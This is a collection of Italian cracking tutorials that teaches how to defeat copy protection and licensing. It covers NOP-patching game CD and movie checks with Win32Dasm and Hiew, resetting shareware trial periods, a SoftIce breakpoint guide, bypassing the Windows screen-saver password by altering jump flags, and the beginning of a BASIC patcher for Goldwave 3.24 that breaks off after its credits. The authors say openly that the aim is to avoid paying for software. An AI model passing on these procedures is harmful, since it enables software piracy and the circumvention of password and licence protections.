Poi guardare che messaggio di errore da. Devi ricordarti l'ultimo messaggio di errore e lanciare Win32Dasm e guardare sotto List of String Data dove troverai il messaggio di errore. Per esempio: lanci il gioco senza i filmati sul tuo HD. Il gioco ti darà un messaggio di errore tipo „MOVIE FILE not found". Ora potrai cercare in Win32Dasm dove trovi il messaggio di errore „MOVIE FILE not found". Se lo trovi fai doppio click su questo. Chiudi la List of Data String Items e torna su Win32Dasm, che si sarà spostato nel punto in cui si trova il messaggio di errore. Segnati ogni numero di @offset di jump e call (riconoscerai i comandi dalla barra che diventerà verde. Hai bisogno solo dei numeri senza la h!!!!Poi ti sposti in Hiew e scrivi il numero per ricercarlo. Poi modifica i comandi di call o jump con l'uso di 90 per ogni byte (ricorda che due numeri sono un byte). Poi selezioni aggiorna e chiudi. Ora hai noopato il gioco!!!

F.A.Q.

Domanda:Cosa faccio se ci sono più di una call o jump oppure una all e un jump?

Risposta:Ok.Ora sei nel punto in cui comincia il vero crackare! One delle call o jump è „Bravo Ragazzo" e l'altra è „Cattivo Ragazzo"!!! Un bravo ragazzo è buono e se trasformi in noop il bravo ragazzo il gioco non funzionerà nel 99% dei casi. Ma qual è il buono e quale il cattivo?Non lo sappiamo!Devi provare!La miglior cosa da fare è salvare l'exe e andare avanti col vecchio duro metodo ‚a tentativi'. Provi il noop su un comando e controlli se il gioco funziona. Se funziona, bene, altrimenti ricarichi il vecchio exe e provi un altro numeri. All'inizio puoi provare a noopare ogni call e jump che vedi ma sono sicuro che il gioco poi non funzionerà. Devi provare differenti combinazioni di noop finchè non funziona!!!

D:Non c'è il pulsante String Reference disponibile!

R:In tal caso la possibilità di crackare il gioco scende al 5%.

L'unica cosa che puoi provare è cercare a mano le parole chiave cd/movie/music/error…

O guardare nell'HexWorkShop se trovi una stringa che puoi manipolare. Ma hai poche possibilità.

D:Le ho provate tutte ma non riesco a crackare il gioco!

R:Ci sono due possibili strade:

1.:Hai fatto qualcosa di sbagliato(come noopare un Bravo Ragazzo, noopare qualcosa che il gioco richiede, non avete noopato abbastanza e non avete noopato le protezione richiesta o avete noopato troppe cose e il gioco non va)

2.:Non puoi crackare il gioco perché è un'operazione troppo difficile o nessuno può crackare il gioco(più probabilmente la prima cosa).

VELOCI PROMEMORIA

- Due numeri sono un byte :E4c2A1 significa E4=1byte C2=1byte A1=1byte e per ogni byte un 90 (il numero noop)

- Inizia senza CD e poi cerca il messagigo di errore presentato

- Con il messaggio lancia Win32Dasm e vai nel menu String of Data Items

- Cerca lo stesso messaggio di errore, facci un doppio click

- Segna il numero dopo @offset senza h per ogni call e jump

- Con il numero di @offset vai in Hiew e fai il noop all'indirizzo

COME FREGARE I PROGRAMMI SHAREWARE

Gli Shareware hanno lo scopo di dare la possibilita ad un utente di provare un determinato programma per un lasso di tempo determinato. Passato il periodo valutativo le possibilità che abbiamo sono due:

a) Aquistare il software
b) Disinstallare il programma (anche perché probabilmente è divenuto inutilizzabile)

Chiaramente se decidiamo di acquistare il Software la casa produttrice provvederà a inviarci o un codice per poter registrare il prodotto, o un nuovo programma, e quindi non abbiamo bisogno di ricorrere a qualche piccola astuzzia per continuare ad usare il nostro bel programma shareware.
Se, come succede sempre, non abbiamo nessuna intenzione di spendere soldi per qualcosa che ci piace ma che per noi non è indispensabile, allora dobbiamo cominciare a chiederci alcune cose, e soprattutto dobbiamo cercare di pensare come un programmatore che vuole creare una versione valutativa del suo programma.
Ci sono molti modi per proteggere in modo più o meno efficace un programma, vediamone alcuni insieme:

a) Creazione di un programma dimostrativo con alcune funzioni disattivate e con una data fissa di scadenza
b) Creazione di un programma dimostrativo con data di scadenza fissa, controllata al momento dell'installazione
c) Creazione di un programma perfettamente funzionante con giorni di utilizzo contati a partire dal giorno dell'installazione

Il Caso a) è il più complesso e difficile da risolvere in quanto è necessario utilizzare appositi programmi (debugger) che ci permettano di entrare in profondità nel programma e di andare a modificare qualle parti di codice che ad esempio contengono la data di scadenza, e successivamente controllare se i le funzioni non utilizzabili sono disabilitate o se non sono state inserite nel programma valutativo.
Anche il Caso b) richiede l'utilizzo di un debugger in quanto ha una data di scadenza fissa (ad es. il 30 gennaio 1998), per poter almeno vedere il programma, nel caso in cui ne siamo venuti in possesso dopo la sua data di scadenza, e sufficiente spostare il nostro orologio del computer indietro, prima della scadenza del programma.
Il Caso c), quello più frequente, è il più facile da risolvere... Facciamo qualche tentativo....
1) Installiamo il programma, terminata l'installazione annotiamo la data e l'ora in cui abbiamo svolto l'opereazione
2) Avviamo il programma la prima volta, sempre annotando la data e l'ora
3) Uscendo dal programma annotiamo data e ora
4) Portimao avanti la data del nostro computer fino ad arrivare oltre la scadenza, avviamo il programma e usciamo dopo pochi secondi, annotando sempre la data e l'ora in cui effettuiamo le varie operazioni. Stampiamoci una lista di tutti i file contenuti nella cartella C:\Windows e nella cartella \Windows\System.
5) Disinstalliamo il programma con "installa/disinstalla applicazioni" e RI-Stampiamoci una lista di tutti i file contenuti nella cartella C:\Windows e nella cartella \Windows\System.
6) Confrontiamo le due liste ed eliminiamo i file che compaiono in entrambe, il file o i file rimaneti, probabilmente, contengono informazioni che il programma va a leggere al momento dell'avvio e grazie alle quali determina il tempo rimanente ed altre notizie. Nel caso in cui vengano trovati più file controllate la data del loro ultimo aggiornamento e cancellate solo quelli con la data uguale a quelle annotate nei pinti 1, 2, 3 e 4

7)Adesso possiamo re-installare il nostro programma ed utilizzarlo fino alla nuova scadenza.
N.B.: In alcuni casi e sufficiente cancellare il file trovato al punto 6) per azzerare la scadenza e poter così utilizzare il programma.

Dalla teoria alla pratica

Per adesso abbiamo fatto solo supposizioni e scritto tante parole, per capire meglio cosa dobbiamo fare proviamo a mettere in pratica tutto quello che è stato scritto fino ad ora.. e speriamo bene ;-) !
Prendiamo come esempio un programma molto semplice e che tutti conoscono Animagic applichiamo passo di passo tutto ciò che abbiamo letto e ci accorgeremo di un file molto strano, dalle dimensioni insignificanti, aninst00.whe, l' unico file che rimane di animagic dopo la sua disistallazione, se provassimo a installare il programma senza averlo cancellato si accorgerebbe che stiamo cercando di utilizzarlo una seconda volta dopo la sua scadenza. Una volta cancellato aninst00.whe possiamo procedere tranquillamente ad una nuova installazione. Spero di essere stato abbastanza chiaro, un'ultima cosa importante...Ogni volta che vengono installati dei programmi per windows95, oltre ai file programma vengono aggiornati anche i registri di windows, quidi quando arriva il momento di scegliere il giusto file da candellare fate attenzione a non cancellere dei rigistri di sistema.

CRACKING TUTORIAL

1. Prefazione
Per iniziare vorrei subito dire che tutto quello che segue non e' assolutamente da prendere sul serio e non e' assolutamente da fare o provare. Anzi, e' assolutamente illegale, e quindi, se non volete dire "ciao" a un pulotto che suona al vostro campanello perché siete diventati pirati informatici non fatelo.

Bene bene bene... Detto questo un ciao a tutti voi che avete una gran voglia di fottere tutti quei programmini Shareware del cazzo che dopo trenta giorni di evaluation non funzionano piu', o quelli che danno possibilita' limitate a meno che non inseriate la mistica password associata all'user name inserito ecc... vi siete proprio rotti le balle... vero? Io almeno, confesso che me le sono rotte, e quindi... aguzzo l'ingegno e inculo tutte quelle softwarehouse che ti chiedono 20$ per il loro programma. Ma se vi devo dire la verita' non lo faccio solo per questo, ma anche per un altro motivo: Quando riesco a mettere insieme tutti i pezzi del puzzle, e vedo sullo schermo del mio bel pc una finestrella che mi dice "Tnx for registering" mi sento un grande. Perche' penso di essere uno dei pochi su questa faccia della terra a essere in grado di farlo, e quindi mi sento un figo. Comunque, quando poi ripenso ai 20$ risparmiati sono ancora piu' felice... Quindi questo manuale non e' da vedere come un manuale al crackaggio, ma piu' come un manuale della felicita'... che umorista che sono... io non devo passare tutte queste ore davanti al pc... poi mi metto a scrivere stronzate del genere... sono proprio fuso... vabbe'... mi accendo una cicca, va'.

In ogni caso questo non e' un manuale di Assembler, quindi non aspettatevi particolari sull'asm, quelli li trovate in inglese in giro per Internet, ma e' una guida al crackaggio. Quello che voglio insegnare non e' come trovare le password associate agli user name, ma semplicemente come avere l'accesso. Per riuscire a scoprire la password, avete bisogno di conoscere un sacco di asm e soprattutto dovete farvi un pacco cosi' di matematica... ma questo e' un altro file... forse in futuro ve lo scrivero'... Adesso andiamo al sodo e cominciamo:

2. Breve introduzione all'Assembler
Allora. Per crackare un programma bisogna disassemblarlo, cioe' tradurre il programma .exe o .com in una lista di istruzioni da noi comprensibili, per poi modificarlo in modo da fargli credere di aver inserito la password giusta, o che i 30 giorni non sono passati e cosi' via. Siccome per disassemblare i programmi da crackare si usa il SoftIce, che disassembla i programmi in Assembler (asm), bisogna sapere questo linguaggio. Voi direte, "ma non possiamo tradurre il programma in italiano, cosi' lo capiscono tutti?". E io vi rispondo, ci sto lavorando, ma quando avro' finito lo distribuiro' in una versione Shareware incrackabile! Tje'!
Ok. Ora vi spiego un po' come funziona l'Assembler:

2.1 I registri

La CPU del computer e' divisa in diversi registri, che ora vi spiego uno per uno cosa sono e come si chiamano, e servono per memorizzarci dei dati. I registri in tutto sono quattro, e si chiamano

AX - Accumulatore
BX - Base register
CX - Contatore
DX - Data register

Ognuno di questi registri puo' essere suddiviso in una parte alta e una bassa. Per esempio AX si suddivide in AL (Low) e AH (High). Nella CPU del Pentium, che lavora a 32 bit, i registri si chiamano EAX, EBX e cosi' via. Mi spiego meglio con questo schemino:

AL = 8 Bit (parte bassa del registro AX)
AH = 8 Bit (parte alta del registro AX)
AX = 16 Bit (formato da AL e AH messi insieme)
EAX = 32 Bit (formato da AX e altri 16 Bit che pero' non sono direttamente accessibili dall'utente)

Ovviamente questa suddivisione vale anche per BX, CX e DX.
Poi ci sono i segment register:

CS - Vuol dire Code segment. E' l'area di memoria nella quale si trova il programma che state modificando. L'indirizzo CS:IP e' l’istruzione che state per eseguire.

DS - Il Data segment. La parte di memoria nella quale si trovano i dati. La CPU di solito vi accede solo in lettura.

ES - Extra segment. In questa area di memoria la CPU vi accede in scrittura.

IP - Instruction pointer. E' l'indirizzo dell'istruzione che state per eseguire.

SS - Stack segment. Questa e' roba complicate... non vi serve per i vostri scopi crackistici.

SI - Source Index. E' un puntatore.

DI - Destination index. Un'altro puntatore.

BP - Base pointer. Questo viene usato insieme allo SS.

SP - Stack pointer. Serve a puntare una locazione all'interno dello Stack. E' usato insieme a SS.

Questi sono i registri della CPU, le informazioni qui riportate, non sono complete, ma non starò' neanche qui' a completarle, perché' per i nostri loschi scopi non sono di importanza rilevante. Se proprio volete saperne di più' andate a leggervi una delle tante guide sull'Assembler che si trovano in giro per Internet.

2.2 I flag

Servono ad indicare se un jump condizionale (vedi sezione istruzioni) deve essere eseguito o no. Per esempio

CMP AL, BL .... Confronta il registro al con bl
JZ 3F1D .... Salta se zero a 3F1D

La prima istruzione esegue un confronto tra AL e BL. Se sono uguali il flag Z diventa 1 (attivo), nel caso contrario invece, 0 (disattivo).
La seconda istruzione salta all'indirizzo specificato se il flag Z e' 0.
Se per esempio in AL abbiamo il numero di giorni da quando stiamo usando il programma, e in BL, il numero di giorni che il programma deve funzionare, modificando il flag zero possiamo far credere al programma che i giorni ancora non sono finiti, e quindi possiamo continuare ad usare il programma. Capito?

Mettiamo il caso:

AL = 3 .... Stiamo usando il prog. da 3 giorni
BL = 1E .... (1E = 30 in Hex) Per quanti giorni possiamo usare il prog.

Premesso questo, ora eseguiamo i comandi:

CMP AL, BL .... Confronta il 3 con il 30d
JZ 3F1D .... Se i due sono uguali (tutti e due 30, flag Z = 1) salta a 3F1D e ci dice di registrare il programma

Tutto chiaro? Penso di si... queste sono cazzate da capire in fondo, credo.

2.3 Le istruzioni

MOV Dest. Source - Sposta un valore da Source a Dest. Per esempio MOV AL, BL - Sposta il contenuto di BL in AL.

CMP var1, var2 - Confronta i due valori di var1 e var2. Per esempio CMP AL, BL - Confronta il contenuto di AL con quello in BL. Semplice no? Be'... questa istruzione funziona come una sottrazione: il valore in var2 viene sottratto da var1. Cioe', se ho 3 in AL, e 8 in BL, il risultato sarà' 3 - 8 = -5. Il flag Carry (C) si attiverà' (questo flag si attiva ogni volta che il numero e' negativo). Nel 99,9% dei casi questo comando viene usato per confrontare la password da voi inserita e quella giusta, oppure come nell'esempio sopra, i giorni trascorsi, e quelli trascorribili (ma esiste questa parola?).

JMP label - Questa e' l'istruzione piu' bella. Esegue un salto all'indirizzo
specificato. Lo troverete, di solito dopo un CMP. Ci sono diverse
variazioni di questo comando, che ora vi elencherò', e vanno tutte a
controllare i flag Z, O, S, C e P. Nella sua forma più' semplice e' JMP
label, cioè', salta a label qualsiasi siano i valori dei flag. Ponendo
il comando CMP AX, BX, abbiamo:

JNZ - Jump if not zero, AX diverso da BX

JZ - Jump if zero, AX uguale a BX

JB - Jump if below, AX < BX, C = 1

JA - Jump if above, AX > BX, C = 0

JNGE - Jump if not greater or equal, AX<=BX, S diverso da 0

JGE - Jump if greater or equal, AX=>BX, S = 0

JLE - Jump if less or equal, AX<=BX, Z=1 o S=F

Che palle! Vabbe'... cen'e' altri di 'sti' JMP, ma non credo che vi servano per
i vostri loschi scopi, quindi non preoccupatevi... anche se non li sapete non
cambia un cazzo. Comunque, se proprio vi interessano li trovate in un
qualsiasi manuale di Assembler in giro per Internet.

CALL label - Richiama una routine che si trova all'indirizzo specificato con
label. Per esempio CALL 1F3D, esegue la routine a CS:1F3D. Poi,
eseguendo la routine, quando trova un'istruzione RET torna
all'istruzione dopo CALL. Facile no? Di solito, quelle chiamate
con CALL sono delle routine che controllano il testo da voi
inserito, oppure criptano la password che avete inserito ecc.

INT n - Esegue un'interruzione. Un'interruzione e' come una routine, pero' non
e' nel programma, ma da qualche parte nel DOS, o nel BIOS, dipende dalla
n. Per esempio quei giochini vecchissimi che chiedevano il KeyDisk
inserito usavano l'int 13 per vedere se c'era il dischetto inserito o no
ecc. Comunque cazzate... in Windows gli INT non esistono quasi piu'.

That's it. Questi sono i comandi principali dell'asm. Spero che gli abbiate
capiti, perche' senza questi poi non ci capirete una minchia nel SoftIce.
Anzi... se volete approfondire, c'e' il Assembly language foundamentals
tutorial che aspetta solo di essere letto e studiato. I comandi che vi ho
dato qui sono pure pochi, ma comunque quelli piu' importanti.

3. L'uso del debugger

Ok. Aspettate un'attimo che mi accendo una cicca... fumo troppo... ma vabbo'.

Per spiegarvi come funziona il SoftIce vi traduco semplicemente le parti piu' importanti della guida che trovate anche compattata nel file SoftIce.zip.
Cosi' risparmio la fatica di pensare ai comandi.
Allora... intanto i consiglio di mettere una robe del genere alla fine del vostro Autoexec.bat:

```
choice /tn,2 Caricare softice?
if errorlevel 2 goto win
c:\softice\winice (qui' mettete la righa che vi aggiunge il SoftIce nell'installazione)
goto end

:win
choice /ts,1 Caricare windows?
if errorlevel 2 goto end
win

:end
```

Ed ora passiamo ai comandi principali del SoftIce:

3.1 I comandi del SoftIce
E' impossibile debuggare bene senza sapere come funzionano i BreakPoints (Bp).
Un bp e' un'istruzione per la cpu che le dice di fermare l'esecuzione del programma dopo un accesso ad una certa locazione di memoria, oppure dopo certi eventi del programma stesso e da' il controllo al debugger. Quando setti un bp del SoftIce e poi torni al programma che stai usando, SoftIce compare automaticamente quando la condizione per la quale e' settato il bp e' verificata.

3.1.2 BreakPoint
Bc # : Clear Breakpoint--elimina un breakpoint messo in precedenza nel Soft-Ice; devi sapere il numero del bp...

Bd # : Disable Breakpoint--disabilita il bp ma non lo cancella; devi sapere il numero del bp...

Be # : Enable Breakpoint--abilita il bp che hai disabilitato in precedenza; devi sapere il numero del bp...

Bl : List Breakpoints--mostra una lista di tutti i bp settati nel softice, il loro stato (abilitato, disabilitato), e il loro numero.

Bmsg : Break on Windows Message. Sintassi: BMSG window handle L begin-message end-message

Bpint : Break on Interrupt. Funziona solo con le interruzioni trattate da IDT (95/NT). Sintassi: BPINT int-number

Bpio: Si ferma quando c'e' un accesso in lettura o scrittura ad una porta I/O con un certo indirizzio. Sintassi: BPIO port [R|W|RW] [EQ|NE|GT|LT|M value] [c=count]

Bpm: Si ferma quando c'e' un accesso alla memoria in lettura (read), scrittura (write), o esecuzione (execution). Sintassi: BPM[B|W|DW] address [R|W|RW|X]

Bpx : Break on execution. Sintassi: BPX address/symbol [c=count] [EQ|NE|GT|LT|M value] [c=count]

Bpr : Break on memory range. Sintassi: BPR start-address end-address [R|W|RW|T|TW] [expression]

Bprw : Break on program/code segment. Sintassi: BPRW module-name|selector [R|W|RW|T|TW] [expression]

3.1.2 Steppare attraverso il programma
Debuggare in se' vuol dire eseguite una istruzione alla volta di un programma in modo da poter vedere come cambiano la memoria, i registri, i flags e le variabili. I principali comandi per farlo sono:

P : Esegue una istruzzione e vede le CALL come una istruzzone sola. Shortcut: il tasto F10.

P RET : Esegue il programma finche non trova un'istruzione RET. Shortcut: il tasto F12.

T : Esegue una istruzzione. Shortcut: il tasto F8.

3.1.3 Visualizzare informazioni sul sistema
Addr : Visualizza o cambia ad un contesto di indirizzi.

Class : Visualizza informazioni sui Windows Classes.

CPU : Visualizza i registri della CPU.

Exp : Carica/Visualizza i simboli esportati da un DLL.

GDT : Visualizza la Global Descriptor Table.

Heap : Visualizza i Global Heap di Windows.

Heap32 : Visualizza/attraversa i Global Heap di Windows.

HWND : Visualizza informazioni sui Windows Handles.

IDT : Visualizza la Interrupt Descriptor Table.

LDT : Visualizza la Local Descriptor Table.

LHeap : Visualizza i Windows Local Heap.

Map32 : Visualizza una mappa di memoria di tutti i moduli a 32bit caricati
in memoria.

MapV86 : Visualizza la mappa di memoria DOS memory della macchina virtuale
corrente.

Mod : Mostra la Windows Module List.

Page : Mostra le Page Table information.

Proc : Visualizza informazioni su un processo.

Stack : Visualizza una call stack.

Sym : Imposta o visualizza un Symbol.

Task : Mostra Windows Task List.

VCall : Mostra i nome e indirizzi di una routine VxD chiamabile con CALL.

VM : Visualizza informazioni sulle macchine virtuali.

VXD : Visualizza la mappa Windows VXD.

.VMM : Chiama il VMM Debug Informational Services menu.

.VPICD : Chiama il VPICD Debug Information Menu.

.VXDLDR : Mostra informazioni VXD.

WMSG : Visualizza i nomi e numeri dei messaggi Windows.

Inoltre, cosa molto importante, che stavo quasi per dimenticarmi, c'e' da dire
che nel SoftIce ci entrate con CTRL-D. Figo, no?

4. Iniziamo a crackare
Benebenebene... adesso che vi siete sorbiti tutte le cazzate qui sopra citate,
sapete come funziona il SoftIce e anche un po' di asm, contenti? Ok. Possiamo
iniziare con una cosa molto semplice e anche abbastanza inutile: la password
dello Screen Saver di Windows. E' l'unica cosa che penso abbiano tutti nel
loro Windows, cosi' evitate di andare a scaricare prog. che magari neanche
volete, solo per provare ad crackarlo. Ok? Sono un bravo ragazzo o no?
Iniziamo. Caricate il SoftIce, andate nel pannello di controllo, sceglietevi

uno screen saver e impostate una password... una a caso, tanto ora la rendiamo
inutile. Aspettate che lo SS (polizia militare tedesca) entri in funzione,
inserite una pw sbagliata e entrate nel Softice con CTRL-D. Ok. Ora siamo nel
Debugger. Adesso c'e' un problema... dobbiamo intercettare una funzione di
Windows. Cioe' quella che legga il testo da noi inserito nella casella di
testo della pw. Per fare questo innanzitutto dobbiamo sapere in che programma
e' la finestrella con la casella di testo interessata. Digitiamo TASK e il
SoftIce ci da una lista di programmi al momento attivi. Uno di questi e' (nel
mio caso) "oggetti volanti". Io ho scelto questo ss, ma immagino che il
vostro sia un'altro. Comunque, se non siete proprio cretini, nella lista di
prog. che vi da, troverete quello dello ss. Fatto questo, c'e' da fare una
piccola nota sul funzionamento di Windows. Qualsiasi cosa vedete sullo
schermo (un pulsante di Ok, la X nella parte destra-alta delle finestrelle di
Win, una casella di testo, ...) e' un handle di Windows. Sono chiamati cosi'.
La casella di testo nella quale noi abbiamo inserito la pw e' un handle. Nel
SoftIce e' possibile visualizzare tutti gli handle attivi al momento con il
comando HWND. Digitandolo, vedrete una lista di tutti gli hwnd attivi di
tutti i programmi. Di ogni hwnd il SoftIce da informazioni sull'numero del
hwnd, il programma nel quale si trova e il suo nome. Noi siamo a caccia di
un hwnd chiamato EDIT, visto che e' una casella di testo. Nella lista
troverete proprio l'edit che vi serve (il prog. "Oggetti Volanti" ne
visualizza uno solo).
Ora dobbiamo solo intercettare la funzione di Windows che legge il testo
contenuto in quella casella e ci ritroveremo esattamente nella routine da
fottere. Per fare questo settiamo un bp con il seguente comando: BMSG num_hwnd
WM_GETTEXT per num_hwnd, ovviamente, dovrete inserire il numero del handle che
vi da SoftIce (il primo a sinistra). WM_GETTEXT invece e' un messaggio di
Windows che legge un testo da una casella di testo.
Dopo che avete inserito il comando nella righa di comando del SoftIce, date
l'invio e tornate allo Screen Saver con CTRL-D. Cliccate su Ok per confermare
la vostra pw sbagliata e... magia! Riappare il SoftIce e vi trovate nella
routine BOZOSLIVEHERE (un piccolo scherzo della MicroSoft, credo... cretini...)
di USER. Pero', come potete vedere nella parte bassa della finestra del codice,
non siamo nel programma da noi desiderato (quello dello Screen Saver) ma in
USER, del quale non ce ne frega un cazzo, e quindi steppiamo attraverso il
codice, premendo F12, fino ad arrivare a Kernel.Alloc. Ogni volta che
arrivate a Kernel.Alloc, sappiate che dopo il prossimon F12 che premete siete
nel vostro programma. Premiamo un'altra volta l'F12 e ci troviamo nel bel
mezzo di PASSWORD!.text. Cosi' ora sappiamo anche che lo Screen Saver usa
l'estensione del Pannello di Controllo PASSWORD.CPL per gestire le password.
Iniziate gia' un po' a sentirvi dei fighi? Andiamo avanti. Guardatevi bene il
codice:

0137:7C45428F CALL [7C4582BC] .... La call dalla quale
siamo appena usciti

0137:7C454295 TEST EDI, EDI .... Controlla cosa
c'e' in EDI

0137:7C454297 JNZ 7C4542B1 .... Un JMP condizionale

0137:7C454299 LEA EAX, [EBP-04]

0137:7C45429C LEA ECX, [EBP-14]

0137:7C45429F PUSH EAX

0137:7C4542A0 PUSH ECX

0137:7C4542A1 CALL 7C454536 .... Chiama una Routine

0137:7C4542A6 TEST EAX, EAX .... Controlla cosa c'e' in EAX

0137:7C4542A8 JZ 7C4542DE .... Un'altro JMP condizionale

0137:7C4542AA MOV EAX,00000001

0137:7C4542AF JMP 7C454322 .... Con questo JMPi sicuramente...

Ok... Ci sono due CALL, e subito dopo le rispettive CALL, i rispettivi JMP.
A me viene da pensare (a me perche' di programmi ne ho visti tanti...) che una controlla la lunghezza della pw e l'altra i caratteri. Ma ovviamente questo non si puo' sapere... e' solo un'intuizione che viene dopo kili di programmi sorbiti con il passare degli anni. Ma tanto a noi non ci frega di cosa fanno le call. Steppando attraverso il codice vediamo che almeno uno dei due jump ci fa saltare, quindi probabilmente, la parte del programma che ci rida' accesso al Desktop si trova all'indirizzo 0137:7C4542AF (l'ultimo JMP).
Quindi, arrivati al primo JMP (JNZ 7C4542B1) noi non vogliamo saltare: premiamo F10 fino a quell'istruzione e mettiamo il flag Z a 0. Andiamo avanti con F10 fino al secondo JMP (JZ 7C4542DE) e settiamo il flag Z a 1 per non saltare neanche questa volta. Ok. Fatto. Ora possiamo tornare al programma premendo CTRL-D. Lo Screen Saver e' sparito e noi abbiamo riguadagnato l'accesso all'Desktop anche se abbiamo inserito la pw sbagliata.
Dite la verita'. Vi sentite dei grandi ora o mi sbaglio?

Ora forse non avrete capito perfettamente tutto quello che c'e' scritto qui' sopra, ma vi assicuro che se seguite i passi nell'esempio, piano piano capirete come fare a crackare anche altri programmi. Ora vi chiederete: "cosa sara' mai quel WM_GETTEXT???". E' un message brake di Windows. Nel senso che c'e' una parte in Windows che usa questo simbolo per leggere il testo da voi inserito nella casella di testo. Comunque ora ve ne do anche altri, per i pulsanti di Ok e altre cose.

5. BreakPoints utili
Per prima cosa, per poter usare i seguenti bp (WM_GETTEXT compreso) dovete editare il file WINICE.DAT nella directory di SoftIce e includere gli exports di

gdi32.dll
kernel32.dll
user32.dll

questi tre per ora dovrebbero bastare, comunque sappiate che potete aggiungere anche gli altri dll e exe che vi interessano.
I bp che seguono sono tutti da settare con Bpx nel SoftIce.

5.1 Lettura e scrittura sui file
Questi che seguono sono gli API calls di Windows piu' comuni.
Sono CALL generiche di accesso a file (di solito in binario) in lettura e scrittura.

ReadFile

WriteFile

L'accesso ai file avviene con le seguenti routine

SetFilePointer

GetSytemDirectory

GetSytemDirectoryA

Per leggere e scrivere sui file INI le CALL da intercettare sono le seguenti:
per applicazioni a 16bit

GetPrivateProfileString

GetPrivatProfileInt

WritePrivateProfileString

WritePrivatProfileInt

per applicazioni a 32bit

GetPrivateProfileStringA

GetPrivatProfileIntA

WritePrivateProfileStringA

WritePrivatProfileIntA

5.2 Interrupt
Accesso ad un file

bpint 21 - con ah = 3d

bpint 2f - con ah = 01

5.3 Il Registry
Crea o elimina una key nel registry (quelle con A alla fine sono per applicazioni a 32 bit)

RegCreateKey

RegDeleteKey

RegCreateKeyA

RegDeleteKeyA

Leggi un valore da una Key correntemente aperta nel registry

RegQueryValue

RegQueryValueA

Apre o chiude una Key nel registry

RegCloseKey

RegOpenKey

RegCloseKeyA

RegOpenKeyA

5.4 Finestre di dialogo
Legge testo o un numero da una finestra di dialogo edit (quelle con A alla fine sono per applicazioni a 32 bit)

GetWindowText

GetDlgItemText

GetWindowTextA

GetDlgItemTextA

GetDlgItemInt

Quando si apre una finestrella di messaggio, di solito una di quelle che dice "registrazione non valida" o qualcosa del genere, dovete intercettare queste CALLs

MessageBox

MessageBoxA

MessageBoxExA

MessageBeep

5.5 Data e ora
Queste sono particolarmente utili per i programmi che non funzionano piu' dopo un paio di giorni

GetSystemTime

GetLocalTime

SytemTimeToFileTime

5.6 Creazione di una finestra

CreateWindow

CreateWindowExA

ShowWindow

bitblt (e' una roba simile a hmemcpy... sposta e muove memoria in giro)

5.7 CD-ROM
Molto utili per i check del CD-ROM.

GetDriveType (se EAX e' 5, allora e' un CD-ROM check)

GetDriveTypeA (per le app. a 32 bit)

Eseguite le CALL, in EAX c'e' un valore, ed e' da interpretare nel seguente modo:

0 .... Drive cannot be determinated

1 .... root dir does not exist

2 .... DriveRemoveable

3 .... A fixed disk (HD)

4 .... Remote drive (NetWork)

5 .... Cd-Rom drive

6 .... RamDisk

5.8 Altri BreakPoints
Questi li potete usare quando il resto non funziona... sono dei bp, che, in
generale, funzionano

BozosLiveHere (ve lo ricordate?)

HMemCpy (quello citato sopra. sposta variabili, di solito stringhe, in giro
per la memoria)

GlobalGetAtomName

5.8 I messaggi
Questi sono da settare con BMSG nel SoftIce (non con BPX).

WM_GETTEXT (un handle di testo)

WM_COMMAND (quando premi un pulsante di Ok)

Penso che sappiate come usarli questi... ve lo ho spiegato sopra... comunque
lo ripeto:

BMSG hwnd_num WM_COMMAND, per esempio. Per hwnd_num, ovviamente, dovete
inserire il numero dell'handle trovato con il comando HWND del SoftIce.

Questi sono i bp piu' utili che potete settare. Non dovete impararli a
memoria... dopo un po' li saprete per i cazzi vostri. Ma sarebbe bene che ve
li leggiate, cosi' sapete che esistono e sapete che potete usarli quando vi
servono.

6. Il patch
Cos'e' un patch? Semplicemente un programma che faccia da solo il cracking di
un prog. Nel esempio dello Screen Saver per esempio, il programma deve
cambiare in NOP (No operation) i due jump condizionali. Il risultato finale
sara':

0137:7C45428F CALL [7C4582BC] .... La call dalla quale

siamo appena usciti

0137:7C454295 TEST EDI, EDI .... Controlla cosa
c'e' in EDI

0137:7C454297 NOP .... Niente piu' jmp condizionale, ma
un nop (non dobbiamo saltare).

0137:7C454298 NOP ....I NOP sono due perche' i byte che
occupa l'istruzione che c'era prima
erano il doppio di un NOP

0137:7C454299 LEA EAX, [EBP-04]

0137:7C45429C LEA ECX, [EBP-14]

0137:7C45429F PUSH EAX

0137:7C4542A0 PUSH ECX

0137:7C4542A1 CALL 7C454536 .... Chiama una Routine

0137:7C4542A6 TEST EAX, EAX .... Controlla cosa
c'e' in EAX

0137:7C4542A8 NOP ....Stesso discorso
di sopra

0137:7C4542A9 NOP

0137:7C4542AA MOV EAX,00000001

0137:7C4542AF JMP 7C454322 .... Il jmp che ci fa saltare alla
routine di sbloccaggio

Questo e' il programma come dovrebbe essere dopo il crack, quando lo
disassemblate. Chiaro? Ora... per cambiare il jmp con un NOP, non dobbiamo
fare altro che prendere nota dei byte originai, cioe' quelli con i jmp come
erano all'inizio, poi cambiarli con i nop, e prendere nota del cambiamento
dei byte. Per vedere l'istruzione disassemblata, in SoftIce, si usa il
comando CODE ON, che vicino ad ogni istruzione, vi mostra i byte che le
rappresentano. Facile no? Ho scritto, solo per voi, un patch universale in
Basic (linguaggio del cazzo ma veloce, intuitivo, e soprattutto facile, per
voi che non ci capite una sega) che vi riporto qui sotto, cosi' lo compilate
diversamente ogni volta che crackate un programma. Per usarlo dovete
conoscere l'offset dei byte da cambiare, che potete trovare con un Hex editor,
i byte del file originale e quelli dopo il crackaggio. Ok. In oltre vi sarei
molto grato se lasciaste le righe in cui ci sono i crediti (S2)... o se

proprio non volete, almeno mettete un "tnx to S2" o qualcosa del genere...
vene sarei grati. Let's patch!

```
'---VARIABLE DEFINITIONS---

'---File Name of the file to crack---
FileName$ = "GOLDWAVE.EXE"
'---Number of bytes to change---
NBC = 6
'---15, 133, 156... are the original bytes of the file (in decimal!!!)---
OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0)
'---233, 157, 0... are the changed bytes of the file (in decimal!!!)---
CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144)
'---The offset where the bytes to change are---
'---you can find 'em with a Hex editor---
'---the first byte of the file is 1---
OS = 147393
'---The file size in bytes---
FS = 946176


'---CREDIZ & INFO---
CLS
PRINT "Patch for Goldwave v3.24 written by S2"
PRINT ""
PRINT "This Patch allows you to enter ANY password"
PRINT "you like, and the program will register"
PRINT "itselve."
PRINT "If the file is already patched, it will return"
PRINT "to it's original state."
PRINT "Have fun!"
PRINT ""
DO: LOOP WHILE INKEY$ = ""


